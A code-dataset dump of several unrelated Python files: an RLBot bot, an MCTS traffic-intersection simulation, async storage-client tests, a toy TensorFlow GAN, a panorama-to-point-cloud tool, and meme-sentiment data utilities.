self.preprocess(packet)\n self.renderer.begin_rendering()\n # Run our strategy code\n self.run()\n # run the routine on the end of the stack\n for drone in self.drones:\n if len(drone.stack) > 0:\n drone.stack[-1].run(drone, self)\n self.renderer.end_rendering()\n # send our updated controller back to rlbot\n # return self.controller\n return {drone.index: drone.controller for drone in self.drones}\n\n def debug_stack(self):\n # Draws the stack on the screen\n white = self.renderer.white()\n offset = 0\n for i in range(len(self.drones)):\n self.renderer.draw_string_2d(10, 50 + 50 * offset, 3, 3, \"Drone: \" + str(i), white)\n offset += 1\n for j in range(len(self.drones[i].stack) - 1, -1, -1):\n text = self.drones[i].stack[j].__class__.__name__\n self.renderer.draw_string_2d(10, 50 + 50 * offset, 3, 3, text, white)\n offset += 1\n\n def run(self):\n # Used to run test scenerio's\n # if self.game.round_active:\n # run_test(self)\n if len(self.drones) == 1 and len(self.friends) == 0:\n run_1v1(self)\n else:\n run_hivemind(self)\n\n def side(self) -> float:\n # returns -1 for blue team and 1 for orange team\n if self.team == 0:\n return -1\n return 1\n","repo_name":"RLBot/RLBotPack","sub_path":"RLBotPack/The Forsaken/hive.py","file_name":"hive.py","file_ext":"py","file_size_in_byte":7766,"program_lang":"python","lang":"en","doc_type":"code","stars":24,"dataset":"github-code","pt":"82"} +{"seq_id":"119572608","text":"#############################################################################\n# #\n# Basic class for grid world traffic simulation intersection #\n# Josefine Graebener, Apurva Badithela #\n# Caltech, December 2021 #\n# #\n#############################################################################\nimport sys\nsys.path.append('..')\nfrom random import choice\nfrom tree_search.mcts import MCTS, Node\nimport numpy as np\nfrom components.scene import Scene\nfrom components.agent import Agent\nfrom components.pedestrian import Pedestrian\nfrom components.map import Map\nimport os\nfrom copy import deepcopy\nfrom ipdb import set_trace as st\nfrom helper import *\nfrom intersection.intersection import GridWorld\nfrom highway_merge.test_parameters import TRACKLENGTH, MERGE_SETTING\n\n\ndef new_init_scene(sys_agent = None, list_of_agents = None):\n '''Setting up the initial scene as list of agents'''\n if sys_agent == None:\n agent = (7,4) # initial position of system under test\n if list_of_agents == None:\n list_of_agents = [('Agent1',0,3,'s', 's'), ('Pedestrian', 2, 2, 0, 's')]\n #\n sys_agents = [Agent(name='ego', x=agent[0],y=agent[1],v=0, goal='w', orientation = 'n')]\n tester_peds = []\n tester_cars = []\n for agent in list_of_agents:\n if agent[0] == 'Pedestrian':\n tester_peds.append(Pedestrian(name='Ped1', x=agent[1],y=agent[2],cwloc=agent[3], goal=agent[4]))\n else:\n tester_cars.append(Agent(name=agent[0], x=agent[1],y=agent[2],v=0, goal=agent[3], orientation = agent[4]))\n return sys_agents, tester_cars, tester_peds\n\ndef new_World(intersectionfile):\n '''Create the gridworld from the initial scene'''\n gridworld = GridWorld([],intersectionfile)\n # self.find_actions_for_cell()\n sys_agents, tester_cars, tester_peds = new_init_scene()\n # self.tester_agents = [Agent(name=item[0], x=item[1],y=item[2],v=0, goal=item[3], orientation = item[4]) for item in list_of_agents]\n # agents = self.sys_agents + self.tester_agents\n gridworld.sys_agents = sys_agents\n gridworld.tester_cars = tester_cars\n gridworld.tester_peds = tester_peds\n gridworld.print_intersection(gridworld.timestep)\n return gridworld\n\ndef run_random_sim(maxstep):\n '''Run a random simulation / for debugging - not used in MCTS!!!'''\n print('Intersection Example')\n intersectionfile = os.getcwd()+'/intersection/intersectionfile.txt'\n gridworld = new_World(intersectionfile)\n\n output_dir = os.getcwd()+'/intersection/saved_traces/'\n if not os.path.exists(output_dir):\n os.makedirs(output_dir)\n filename = 'sim_trace.p'\n filepath = output_dir + filename\n # gridworld = new_World()\n # gridworld.setup_world()\n # gridworld.save_scene()\n ##\n '''Run a random simulation / for debugging - not used in MCTS!!!'''\n trace = gridworld.trace\n for i in range(1,maxstep):\n gridworld.timestep = i\n print('Step {}'.format(i))\n # testers take step\n for pedestrian in gridworld.tester_peds:\n # currently pick a random enabled action\n action = choice([key for key in gridworld.enabled_actions_pedestrian(pedestrian).keys()])\n gridworld.pedestrian_take_step(pedestrian,action)\n for agent in gridworld.tester_cars:\n action = choice([key for key in gridworld.enabled_actions_car(agent).keys()])\n gridworld.tester_take_step(agent,action)\n # agents = self.sys_agents + self.tester_agents\n gridworld.print_intersection(gridworld.timestep)\n # ego takes step\n for ego_agent in gridworld.sys_agents:\n action = gridworld.strategy(ego_agent)\n gridworld.agent_take_step(ego_agent, action)\n # save the scene\n gridworld.print_intersection(gridworld.timestep)\n # check if we are done\n for agent in gridworld.sys_agents:\n if gridworld.is_terminal():\n print('Goal reached')\n # save the trace\n print(gridworld.trace)\n save_trace(filepath, gridworld.trace)\n return\n save_trace(filepath, gridworld.trace)\n\n\ndef append_trace(trace_dict, agent):\n '''Append the trace'''\n trace_dict[\"x\"].append(agent.x)\n trace_dict[\"y\"].append(agent.y)\n trace_dict[\"v\"].append(agent.v)\n\n\ndef play_game(intersectionfile):\n '''Play the game using MCTS to find the strategy'''\n trace=[]\n tree = MCTS()\n # set the output path to save the trace\n output_dir = os.getcwd()+'/intersection/saved_traces/'\n if not os.path.exists(output_dir):\n os.makedirs(output_dir)\n filename = 'sim_trace.p'\n filepath = output_dir + filename\n # Set up the intersection gridworld\n gridworld = new_World(intersectionfile)\n trace = save_scene(gridworld,trace) # save the initial scene\n\n game_trace = [] # Same as ego_trace and env_trace condensed into one step with env going first\n k = 0 # Time stamp\n # Initial step by the system:\n for sys_agent in gridworld.sys_agents:\n action = gridworld.strategy(sys_agent)\n gridworld.agent_take_step(sys_agent, 'n')\n\n # Initial step by testers:\n for pedestrian in gridworld.tester_peds:\n # currently pick a random enabled action\n # st()\n # action = choice([key for key in gridworld.enabled_actions_pedestrian(pedestrian).keys()])\n action = 'stay'\n gridworld.pedestrian_take_step(pedestrian,action)\n for test_agent in gridworld.tester_cars:\n # st()\n # action = choice([key for key in gridworld.enabled_actions_car(test_agent).keys()])\n action = 'stay'\n gridworld.tester_take_step(test_agent,action)\n\n gridworld.print_intersection(gridworld.timestep)\n\n while True:\n # Action for system under test\n for sys_agent in gridworld.sys_agents:\n action = gridworld.strategy(sys_agent)\n gridworld.agent_take_step(sys_agent, action)\n\n # for agent in gridworld.ego_agents:\n # append_trace(ego_trace, agent)\n # game_trace.append(deepcopy(gridworld))\n grid_term = gridworld.is_terminal()\n # trace = save_scene(gridworld,trace)\n gridworld.print_intersection(gridworld.timestep)\n # st()\n if grid_term:\n if k==0:\n print(\"Poor initial choices; no MCTS rollouts yet\")\n else:\n print(\"Goal reached!\")\n break\n else:\n k = k + 1\n gridworldnew = deepcopy(gridworld)\n for k in range(15):\n # print(\"Rollout: \", str(k+1))\n tree.do_rollout(gridworldnew)\n gridworldnew = tree.choose(gridworldnew) # Env action\n # st()\n # find which actions were chosen and take them\n actions = which_action(gridworld,gridworldnew) # stop here\n # st()\n for pedestrian in gridworld.tester_peds:\n gridworld.pedestrian_take_step(pedestrian,actions['ped'])\n for car in gridworld.tester_cars:\n gridworld.tester_take_step(car,actions['car'])\n # for agent in gridworld.env_agents:\n # append_trace(env_trace, agent)\n # trace = save_scene(gridworld,trace)\n gridworld.print_intersection(gridworld.timestep-1)\n grid_term = gridworld.is_terminal()\n save_trace(filepath,gridworld.trace)\n return #ego_trace, env_trace, game_trace\n\ndef which_action(gridworld,gridworldnew):\n # gridworld.just_print()\n # gridworldnew.just_print()\n # st()\n '''Find from chosen gridworld which action was chosen for each agent'''\n actions = []\n\n car_old = gridworld.tester_cars[0]\n ped_old = gridworld.tester_peds[0]\n\n car_new = gridworldnew.tester_cars[0]\n ped_new = gridworldnew.tester_peds[0]\n\n if car_old.x == car_new.x:\n car_act = 'stay'\n else:\n car_act = 's'\n\n if ped_old.cwloc == ped_new.cwloc:\n ped_act = 'stay'\n else:\n if ped_new.cwloc > ped_old.cwloc:\n ped_act = 'forward'\n elif ped_new.cwloc < ped_old.cwloc:\n ped_act = 'back'\n\n actions = dict()\n actions.update({'ped': ped_act})\n actions.update({'car': car_act})\n return actions\n\n# Constructing trace:\ndef append_trace(trace_dict, agent):\n trace_dict[\"x\"].append(agent.x)\n trace_dict[\"y\"].append(agent.y)\n trace_dict[\"v\"].append(agent.v)\n\nif __name__ == '__main__':\n # run_random_sim(25)\n # st()\n intersectionfile = os.getcwd()+'/intersection/intersectionfile.txt'\n\n output_dir = os.getcwd()+'/highway_merge/saved_traces/'\n if not os.path.exists(output_dir):\n os.makedirs(output_dir)\n filename = 'sim_trace.p'\n filepath = output_dir + filename\n play_game(intersectionfile)\n # print(\"Ego trajectory\")\n # print(ego_trace)\n # print(\"\")\n # print(\"Environment trajectory\")\n # print(env_trace)\n","repo_name":"jgraeb/MergeUnitTests","sub_path":"sim_intersection.py","file_name":"sim_intersection.py","file_ext":"py","file_size_in_byte":9094,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"82"} +{"seq_id":"8286052228","text":"import pytest\nimport os\nimport aiohttp\nfrom .config import *\nimport aiohopcolony\nfrom aiohopcolony import drive\n\nobj = \"test\"\n\n\n@pytest.fixture\nasync def project():\n return await aiohopcolony.initialize(username=user_name, project=project_name,\n token=token)\n\n\n@pytest.fixture\ndef db():\n return drive.client()\n\n\n@pytest.fixture\nasync def img():\n return await drive.load_image(os.path.join(os.path.dirname(__file__), \"resources\", obj))\n\n\nclass TestDrive(object):\n\n bucket = \"hop-test\"\n\n @pytest.mark.asyncio\n async def test_a_initialize(self, project, db):\n assert project.config != None\n assert project.name == project_name\n\n assert db.project.name == project.name\n assert db.client.host == \"drive.hopcolony.io\"\n assert db.client.identity == project.config.identity\n\n @pytest.mark.asyncio\n async def test_b_load_image(self):\n with pytest.raises(FileNotFoundError):\n await drive.load_image(\"whatever\")\n\n @pytest.mark.asyncio\n async def test_c_get_non_existing_bucket(self, db):\n snapshot = await db.bucket(\"whatever\").get()\n assert snapshot.success == False\n\n @pytest.mark.asyncio\n async def test_d_create_bucket(self, db):\n success = await db.bucket(self.bucket).create()\n assert success == True\n\n @pytest.mark.asyncio\n async def test_e_get_existing_bucket(self, db):\n snapshot = await db.bucket(self.bucket).get()\n assert snapshot.success == True\n\n @pytest.mark.asyncio\n async def test_f_list_buckets(self, db):\n buckets = await db.get()\n assert self.bucket in [bucket.name for bucket in buckets]\n\n @pytest.mark.asyncio\n async def test_g_delete_bucket(self, db):\n result = await db.bucket(self.bucket).delete()\n assert result == True\n\n @pytest.mark.asyncio\n async def test_h_delete_non_existing_bucket(self, db):\n result = await db.bucket(self.bucket).delete()\n assert result == True\n\n @pytest.mark.asyncio\n async def test_i_create_object(self, db, img):\n snapshot = await db.bucket(self.bucket).object(obj).put(img)\n assert snapshot.success == True\n\n @pytest.mark.asyncio\n async def test_j_find_object(self, db):\n snapshot = await db.bucket(self.bucket).get()\n assert snapshot.success == True\n assert obj in [obj.id for obj in snapshot.objects]\n\n @pytest.mark.asyncio\n async def test_k_get_object(self, db, img):\n snapshot = await db.bucket(self.bucket).object(obj).get()\n assert snapshot.success == True\n assert obj == snapshot.object.id\n assert img == snapshot.object.data\n\n @pytest.mark.asyncio\n async def test_l_get_presigned_object(self, db, img):\n url = db.bucket(self.bucket).object(obj).get_presigned()\n async with aiohttp.ClientSession(raise_for_status=True) as session:\n async with session.get(url) as response:\n content = await response.read()\n assert content == img\n\n @pytest.mark.asyncio\n async def test_m_delete_object(self, db):\n result = await db.bucket(self.bucket).object(obj).delete()\n assert result == True\n\n @pytest.mark.asyncio\n async def test_n_add_object(self, db, img):\n snapshot = await db.bucket(self.bucket).add(img)\n assert snapshot.success == True\n assert snapshot.object.id != None\n\n @pytest.mark.asyncio\n async def test_o_delete_bucket(self, db):\n result = await db.bucket(self.bucket).delete()\n assert result == True\n","repo_name":"hopcolony/python-aiohopcolony","sub_path":"tests/test_drive.py","file_name":"test_drive.py","file_ext":"py","file_size_in_byte":3598,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"70591504587","text":"import pdb\r\nimport tensorflow as tf\r\nimport numpy as np\r\n# import matplotlib\r\nimport matplotlib as mpl\r\nmpl.use('Agg')\r\nimport matplotlib.pyplot as plt\r\n\r\n\r\nEPSILON = 1e-10\r\n\r\n# N = 10000\r\n# u1, u2 = 10., 0.\r\n# s1, s2 = 3., 0.2\r\n# v1 = np.random.normal(u1, s1, (N, 1))\r\n# v2 = np.random.normal(u2, s2, (N, 1))\r\n\r\n# r = 0.4 * v1 + v2\r\n# y = np.concatenate(\r\n# [r * np.cos(v1), r * np.sin(v1)],\r\n# axis=1)\r\n\r\n\r\n# plt.figure()\r\n# # plt.plot(y.T, 'x')\r\n# plt.plot(y[:,0], y[:,1], 'x')\r\n# plt.savefig('test.png')\r\n# plt.close()\r\n\r\n\r\ndef swissroll(N, u1, s1, u2, s2):\r\n v1 = np.random.normal(u1, s1, (N, 1))\r\n v2 = np.random.normal(u2, s2, (N, 1))\r\n\r\n r = 0.4 * v1 + v2\r\n y = np.concatenate(\r\n [r * np.cos(v1), r * np.sin(v1)],\r\n axis=1)\r\n\r\n# G & D: 2-layered 64 units\r\n\r\n# def main():\r\n\r\ndef create_weight(name, shape):\r\n '''Create a convolution filter variable with the specified name and shape,\r\n and initialize it using Xavier initialition.'''\r\n initializer = tf.contrib.layers.xavier_initializer()\r\n variable = tf.get_variable(\r\n initializer=initializer(shape=shape),\r\n name=name)\r\n return variable\r\n\r\n\r\ndef create_bias(name, shape):\r\n '''Create a bias variable with the specified name and shape and initialize\r\n it to zero.'''\r\n initializer = tf.constant_initializer(value=0.0, dtype=tf.float32)\r\n return tf.get_variable(\r\n initializer=initializer(shape=shape),\r\n name=name)\r\n\r\n\r\ndef create_weight_and_bias(shape):\r\n w = create_weight('weight', shape)\r\n b = create_bias('bias', [shape[-1]])\r\n return w, b\r\n\r\n\r\n# \r\ndef swissroll(N, u1, s1, u2, s2):\r\n v1 = tf.random_normal((N, 1), u1, s1)\r\n v2 = tf.random_normal((N, 1), u2, s2)\r\n\r\n r = 0.4 * v1 + v2\r\n y = tf.concat(\r\n 1,\r\n [r * tf.cos(v1), r * tf.sin(v1)])\r\n return y\r\n\r\ndef swissroll_bounded(N, u1, s1, u2, s2):\r\n y = swissroll(N, u1, s1, u2, s2)\r\n y = tf.maximum(y, -8.)\r\n y = tf.minimum(y, 8.)\r\n y = tf.div(y, 8.)\r\n return y\r\n\r\nclass ToyGAN(object):\r\n # u1, u2 = 10., 0.\r\n # s1, s2 = 3., 0.2\r\n def __init__(self, N=128, u1=10., s1=3., u2=0., s2=.2):\r\n with tf.variable_scope('x'):\r\n x = swissroll_bounded(N, u1, s1, u2, s2)\r\n # x = swissroll(N, u1, s1, u2, s2)\r\n\r\n with tf.variable_scope('z'):\r\n z = tf.random_uniform((128, 2), -1., 1., name='z')\r\n # print(x.get_shape())\r\n # z = tf.reduce_mean(x, 1, keep_dims=True)\r\n\r\n with tf.variable_scope('generator'):\r\n xh = self._generate(z)\r\n\r\n with tf.name_scope('noise'):\r\n n = tf.random_normal((128, 2), 0., 0.5)\r\n\r\n with tf.variable_scope('discriminator'):\r\n p, ph = self._discriminate(x, xh)\r\n\r\n with tf.name_scope('loss'):\r\n self.losses = self._loss(p, ph)\r\n\r\n # self.losses.update({'mse': self._loss_mse(x, xh)})\r\n self.losses.update(self._loss_mse(x, xh))\r\n\r\n self.x = x\r\n self.xh = xh\r\n self.p = p\r\n\r\n def _generate(self, x):\r\n with tf.variable_scope('layer1'):\r\n w, b = create_weight_and_bias((2, 64))\r\n x = tf.nn.relu(tf.add(tf.matmul(x, w), b))\r\n\r\n with tf.variable_scope('layer2'):\r\n w, b = create_weight_and_bias((64, 64))\r\n x = tf.nn.relu(tf.add(tf.matmul(x, w), b))\r\n\r\n with tf.variable_scope('out'):\r\n w, b = create_weight_and_bias((64, 2))\r\n x = tf.nn.tanh(tf.add(tf.matmul(x, w), b))\r\n # x = tf.add(tf.matmul(x, w), b)\r\n\r\n return x\r\n\r\n\r\n def _discriminate(self, x, xh):\r\n with tf.variable_scope('layer1'):\r\n w, b = create_weight_and_bias((2, 64))\r\n x = tf.nn.relu(tf.add(tf.matmul(x, w), b))\r\n\r\n with tf.variable_scope('layer2'):\r\n w, b = create_weight_and_bias((64, 64))\r\n x = tf.nn.relu(tf.add(tf.matmul(x, w), b))\r\n\r\n with tf.variable_scope('out'):\r\n w, b = create_weight_and_bias((64, 1))\r\n x = tf.nn.sigmoid(tf.add(tf.matmul(x, w), b))\r\n\r\n # ==== For fake ====\r\n with tf.variable_scope('layer1', reuse=True):\r\n w, b = create_weight_and_bias((2, 64))\r\n xh = tf.nn.relu(tf.add(tf.matmul(xh, w), b))\r\n\r\n with tf.variable_scope('layer2', reuse=True):\r\n w, b = create_weight_and_bias((64, 64))\r\n xh = tf.nn.relu(tf.add(tf.matmul(xh, w), b))\r\n\r\n with tf.variable_scope('out', reuse=True):\r\n w, b = create_weight_and_bias((64, 1))\r\n xh = tf.nn.sigmoid(tf.add(tf.matmul(xh, w), b))\r\n\r\n return x, xh\r\n\r\n def _loss(self, p, ph):\r\n # pTT = p[:, 0]\r\n # pFF = ph[:, 1]\r\n # pTF = ph[:, 0]\r\n pTT = p\r\n # pFF = 1. - ph\r\n pTF = ph\r\n pFF = 1. - ph\r\n # with tf.name_scope('loss'):\r\n loss_d = - (tf.log(pTT + EPSILON) + tf.log(pFF + EPSILON))\r\n # loss_g = -tf.log(pTF + EPSILON)\r\n # loss_g = - tf.log(tf.div(pTF, pFF + EPSILON) + EPSILON)\r\n loss_g = - (tf.log(pTF + EPSILON) - tf.log(pFF + EPSILON))\r\n # loss_g = - tf.log(tf.div(pTF, pFF + EPSILON) + EPSILON)\r\n\r\n return dict(\r\n loss_d=tf.reduce_mean(loss_d),\r\n loss_g=tf.reduce_mean(loss_g))\r\n\r\n # def _loss_mse(self, x, xh):\r\n # ''' this MSE is WRONG because z and x aren't aligned!\r\n # That's why Eric Jang proposed a sorted version in his blog.\r\n # http://blog.evjang.com/2016/06/generative-adversarial-nets-in.html\r\n # '''\r\n # return {'mse': tf.reduce_mean(tf.reduce_sum(tf.abs(x - xh), 1))}\r\n\r\n # return \r\n def get_losses(self):\r\n return self.losses\r\n\r\n def get_x(self):\r\n return self.x\r\n\r\n def get_xh(self):\r\n return self.xh\r\n\r\n # def predict(self, x):\r\n # return sess.run(p, feed_dict={self.x: x})\r\n\r\n\r\n\r\ndef main(): # trian\r\n gan = ToyGAN()\r\n # N = 50,000 / 128 = 390\r\n\r\n losses = gan.get_losses()\r\n trainable = tf.trainable_variables()\r\n\r\n d_vars = [v for v in trainable if 'discriminator' in v.name]\r\n g_vars = [v for v in trainable if 'generator' in v.name]\r\n\r\n lr = 2e-4\r\n opt = tf.train.AdamOptimizer(learning_rate=lr)\r\n opt_d = opt.minimize(losses['loss_d'], var_list=d_vars)\r\n \r\n opt = tf.train.AdamOptimizer(learning_rate=lr)\r\n opt_g = opt.minimize(losses['loss_g'], var_list=g_vars)\r\n\r\n opt_m = opt.minimize(losses['mse'], var_list=g_vars)\r\n\r\n sess = tf.Session()\r\n init = tf.initialize_all_variables()\r\n sess.run(init)\r\n\r\n writer = tf.train.SummaryWriter('test_log')\r\n writer.add_graph(tf.get_default_graph())\r\n for epoch in range(200):\r\n for i in range(400):\r\n Ld, _ = sess.run([losses['loss_d'], opt_d], feed_dict={})\r\n Lg, _ = sess.run([losses['loss_g'], opt_g], feed_dict={})\r\n # Lg, _ = sess.run([losses['loss_g'], opt_g], feed_dict={})\r\n print('Iter {:2}-{:3d}: Ld: {}, Lg: {}'.format(epoch, i, Ld, Lg))\r\n\r\n # Lm, _ = sess.run([losses['mse'], opt_m])\r\n # print('Iter {}-{}: Lm = {}'.format(epoch, i, Lm))\r\n\r\n xh = list()\r\n x = list()\r\n p = list()\r\n for _ in range(400):\r\n # xh_ = sess.run(gan.get_xh())\r\n xh.append(sess.run(gan.get_xh()))\r\n\r\n x_ = sess.run(gan.get_x())\r\n x.append(x_)\r\n\r\n p_ = sess.run(gan.p, feed_dict={gan.x: x_})\r\n p.append(p_)\r\n\r\n xh = np.concatenate(xh, 0)\r\n x = np.concatenate(x, 0)\r\n\r\n plt.figure()\r\n plt.plot(x[:, 0], x[:, 1], 'ro')\r\n plt.hold(True)\r\n plt.plot(xh[:, 0], xh[:, 1], 'x')\r\n plt.savefig('test-x-xh.png')\r\n plt.close()\r\n \r\n # p = np.concatenate(p, 0)\r\n # plt.figure()\r\n # plt.plot(xh[p[:,0]>.5, 0], xh[p[:,0]>.5, 1], 'ro')\r\n # plt.hold(True)\r\n # plt.plot(xh[p[:,0]<=.5, 0], xh[p[:,0]<=.5, 1], 'bx')\r\n # plt.savefig('test-p.png')\r\n # plt.close()\r\n \r\n\r\n # z = [[x, y] for x in np.linspace(-1, 1, 256) for y in np.linspace(-1, 1, 256)]\r\n # z = np.asarray(z)\r\n\r\n saver = tf.train.Saver()\r\n saver.save(sess, 'test_log/model.ckpt', global_step=epoch)\r\n\r\n x = list()\r\n p = list()\r\n for i in np.linspace(-1, 1, 128):\r\n x_ = [i * np.ones((128,)), np.linspace(-1, 1, 128)]\r\n x_ = np.asarray(x_).T\r\n p_ = sess.run(gan.p, feed_dict={gan.x: x_})\r\n x.append(x_)\r\n p.append(p_)\r\n\r\n p = np.concatenate(p, axis=0)\r\n x = np.concatenate(x, axis=0)\r\n\r\n pdb.set_trace()\r\n\r\n # isTrue = p[:]\r\n plt.figure()\r\n plt.plot(x[p[:, 0] > .5, 0], x[p[:, 0] > .5, 1], 'ro')\r\n plt.hold(True)\r\n plt.plot(x[p[:, 0] <= .5, 0], x[p[:, 0] <= .5, 1], 'bx')\r\n plt.savefig('test-all-area.png')\r\n\r\n print('Generator')\r\n for v in g_vars:\r\n print(v.name)\r\n \r\n # \r\n print('\\nDiscriminator')\r\n for v in d_vars:\r\n print(v.name)\r\n\r\nif __name__ == '__main__':\r\n main()\r\n","repo_name":"JeremyCCHsu/vae4vc","sub_path":"toy/swissroll.py","file_name":"swissroll.py","file_ext":"py","file_size_in_byte":8930,"program_lang":"python","lang":"en","doc_type":"code","stars":7,"dataset":"github-code","pt":"82"} +{"seq_id":"40619631647","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\nimport os, argparse\nimport numpy as np\nimport open3d as o3d\nimport math, cv2\n\n\ndef interpolate_bilinear(tgt_theta, tgt_phi, src_rgb):\n src_height = src_rgb.shape[0]\n src_width = src_rgb.shape[1]\n coor_r = ((tgt_theta + 0.5 * np.pi) / np.pi * src_height).astype(np.uint32)\n coor_c = (0.5 * (tgt_phi + np.pi) / np.pi * src_width).astype(np.uint32)\n return coor_r, coor_c\n\ndef generate_sphere_pointcloud(rgb, res_lat, res_lon):\n lat_samples = np.int32(np.pi / res_lat)\n lon_samples = np.int32(2 * np.pi / res_lon)\n # lattitude angle\n theta = np.arange(lat_samples).reshape(lat_samples, 1) * res_lat + res_lat * 0.5 - np.pi / 2\n theta = np.repeat(theta, lon_samples, axis=1)\n # longitude\n phi = np.arange(lon_samples).reshape(1, lon_samples) * res_lon + res_lon * 0.5 - np.pi\n phi = np.repeat(phi, lat_samples, axis=0)\n\n X = (np.cos(theta) * np.cos(phi)).flatten()\n Y = (np.sin(theta)).flatten()\n Z = (np.cos(theta) * np.sin(phi)).flatten()\n XYZ = np.stack([X, Y, Z], axis=1)\n map1, map2 = interpolate_bilinear(theta, phi, rgb)\n R = rgb[map1, map2, 0].flatten() / 255.0\n G = rgb[map1, map2, 1].flatten() / 255.0\n B = rgb[map1, map2, 2].flatten() / 255.0\n\n RGB = np.stack([R, G, B], axis=1)\n pcd = o3d.geometry.PointCloud()\n pcd.points = o3d.utility.Vector3dVector(XYZ)\n pcd.colors = o3d.utility.Vector3dVector(RGB)\n return pcd\n\n\nif __name__ == '__main__':\n # argument parser\n parser = argparse.ArgumentParser(description = 'this script batch-produces pointclouds from depth images list')\n parser.add_argument('pano_image_path', type = str, default = '', help = 'Input panorama image path')\n parser.add_argument('output_sphere', type = str, default = '', help = 'Output point cloud sphere with unit radius')\n parser.add_argument('--angle_resolution', type = float, default='0.09', help='angle resolution(degree)')\n args = parser.parse_args()\n output_dir = os.path.dirname(args.output_sphere)\n if not os.path.exists(output_dir):\n os.makedirs(output_dir)\n rgb = cv2.imread(args.pano_image_path)\n rgb = cv2.cvtColor(rgb, cv2.COLOR_BGR2RGB)\n if rgb is None:\n print(\"Load panorama image failed: {}\".format(args.pano_image_path))\n exit(-1)\n else:\n pcd = generate_sphere_pointcloud(rgb, args.angle_resolution / 180.0 * np.pi, args.angle_resolution / 180.0 * np.pi)\n o3d.io.write_point_cloud(args.output_sphere, pcd)\n\n","repo_name":"aliyun/S2net","sub_path":"tools/panorama_to_sphere.py","file_name":"panorama_to_sphere.py","file_ext":"py","file_size_in_byte":2500,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"82"} +{"seq_id":"28899847808","text":"from PIL import Image\nimport torch\nimport torchvision\nimport torchvision.transforms as transforms\n\nimport numpy as np\nimport re\nimport random\n\ndef readImg(path,imgname): \n img = Image.open(path+imgname)\n img = img.convert('RGB')\n rsize = img.resize((256,256), Image.ANTIALIAS)\n # rsize.show()\n\n # define transformer\n transformer = transforms.Compose([transforms.ToTensor(),\n transforms.Normalize((0.5, 0.5, 0.5), (0.5, 0.5, 0.5))])\n\n # to np array\n rsizeArr = np.asarray(rsize)\n # to tensor\n tensor_rsize = transformer(rsizeArr)\n # print(tensor_rsize)\n return tensor_rsize\n\ndef getLeastLabel(dataset):\n iDataset = list(dataset[:,2])\n min_count = len(dataset)\n for i in range(3):\n count = iDataset.count(str(i))\n if count < min_count:\n min_count = count\n return min_count\n\ndef getEqualLabels(dataset, min_label):\n output = list()\n for i in range(3):\n output += (random.choices([sample for sample in dataset if sample[-1] == str(i)],k=min_label))\n output = np.asarray(output)\n np.random.shuffle(output)\n return output\n\ndef getAllData(path):\n PATTERN = ' ,|,'\n f = open(path)\n senti2label = {\"positive\":2, \"very_positive\":2, \"very_negative\":0, \"negative\":0, \"neutral\":1}\n dataset = list()\n\n for line in f:\n line = line[:-1]\n row = re.split(PATTERN,line)\n imgname = row[0]\n # empty correct text\n\n sample = [row[0], row[3],int(senti2label[row[-1]])]\n if row[3] == \" \":\n sample = [row[0], row[2],int(senti2label[row[-1]])]\n dataset.append(sample)\n\n dataset = np.asarray(dataset)\n return dataset\n\ndef getBalData(path):\n PATTERN = ' ,|,'\n f = open(path)\n senti2label = {\"positive\":2, \"very_positive\":2, \"very_negative\":0, \"negative\":0, \"neutral\":1}\n dataset = list()\n\n for line in f:\n line = line[:-1]\n row = re.split(PATTERN,line)\n imgname = row[0]\n # empty correct text\n\n sample = [row[0], row[3],int(senti2label[row[-1]])]\n if row[3] == \" \":\n sample = [row[0], row[2],int(senti2label[row[-1]])]\n dataset.append(sample)\n\n dataset = np.asarray(dataset)\n min_label = getLeastLabel(dataset)\n bal_dataset = getEqualLabels(dataset,min_label) \n # print(bal_dataset.shape)\n return bal_dataset\n\ndef getDataLoader(dataset, batchsize):\n dataset = np.resize(dataset, (dataset.shape[0]//batchsize,batchsize,3))\n return dataset\n\ndef getNextBatch(dataloader, imgpath):\n batch = next(dataloader)\n imgbatch, textbatch, y_batch = getBatchData(batch, imgpath)\n return [imgbatch, textbatch, y_batch]\n\ndef getBatchData(batch, imgpath):\n img_batch = list()\n for sample in batch:\n img_data = readImg(imgpath,sample[0])\n img_batch.append(img_data)\n imgbatch = torch.stack(img_batch,0)\n\n y_batch = torch.Tensor(batch[:,-1].astype(\"int\")).to(dtype=torch.int64)\n # print(y_batch)\n return [imgbatch, batch[:,1], y_batch]\n\ndef getTrainTestLoader(datapath,batchsize):\n dataset = getBalData(datapath)\n from sklearn.model_selection import train_test_split\n trainset, testset = train_test_split(dataset, test_size=0.2)\n # print(trainset.shape)\n # print(testset.shape)\n\n trainloader = getDataLoader(trainset, batchsize)\n testloader = getDataLoader(testset, batchsize)\n\n return trainloader,testloader\n\ndef splitTrainTest(datapath):\n dataset = getAllData(datapath)\n from sklearn.model_selection import train_test_split\n trainset, testset = train_test_split(dataset, test_size=0.2)\n print(trainset.shape)\n print(testset.shape)\n\n # print(testset[:5])\n\n # trainloader = getDataLoader(trainset, batchsize)\n # testloader = getDataLoader(testset, batchsize)\n\n return trainset,testset\n\ndef overSamplingSMOTE(dataset):\n from imblearn.over_sampling import SMOTE\n sm = SMOTE(random_state=27)\n X_train, y_train = sm.fit_sample(dataset[:,:-1], dataset[:,-1])\n print(y_train)\n\n\nif __name__ == \"__main__\":\n imgpath='../data/memotion_analysis_training_data/data_7000/' \n datapath='../data/data_7000_new.csv'\n batchsize=8\n\n # # USAGE: \n # train_loader,test_loader = getTrainTestLoader(datapath,batchsize)\n # trainloader,testloader = iter(train_loader),iter(test_loader)\n # imgbatch, textbatch, y_batch = getNextBatch(trainloader,imgpath)\n # # OR\n # for i, data in enumerate(train_loader, 0):\n # images, texts, labels = utils.getBatchData(data,imgpath)\n\n # print(next(testloader))\n # print(next(testloader))\n\n # y = torch.Tensor(dataset[:,-1].astype(int))\n # readImg(imgpath,\"10_year_13-2.jpg\")\n\n trainset,testset = splitTrainTest(datapath)\n overSamplingSMOTE(trainset)","repo_name":"TongTongX/CMPUT651Project","sub_path":"scripts/syluutils_v2.py","file_name":"syluutils_v2.py","file_ext":"py","file_size_in_byte":4746,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"14800702302","text":"from sklearn.base import BaseEstimator\nfrom sklearn.base import ClassifierMixin\nfrom sklearn.preprocessing import LabelEncoder\nfrom sklearn.base import clone\nfrom sklearn.pipeline import _name_estimators\nimport numpy as np\nimport 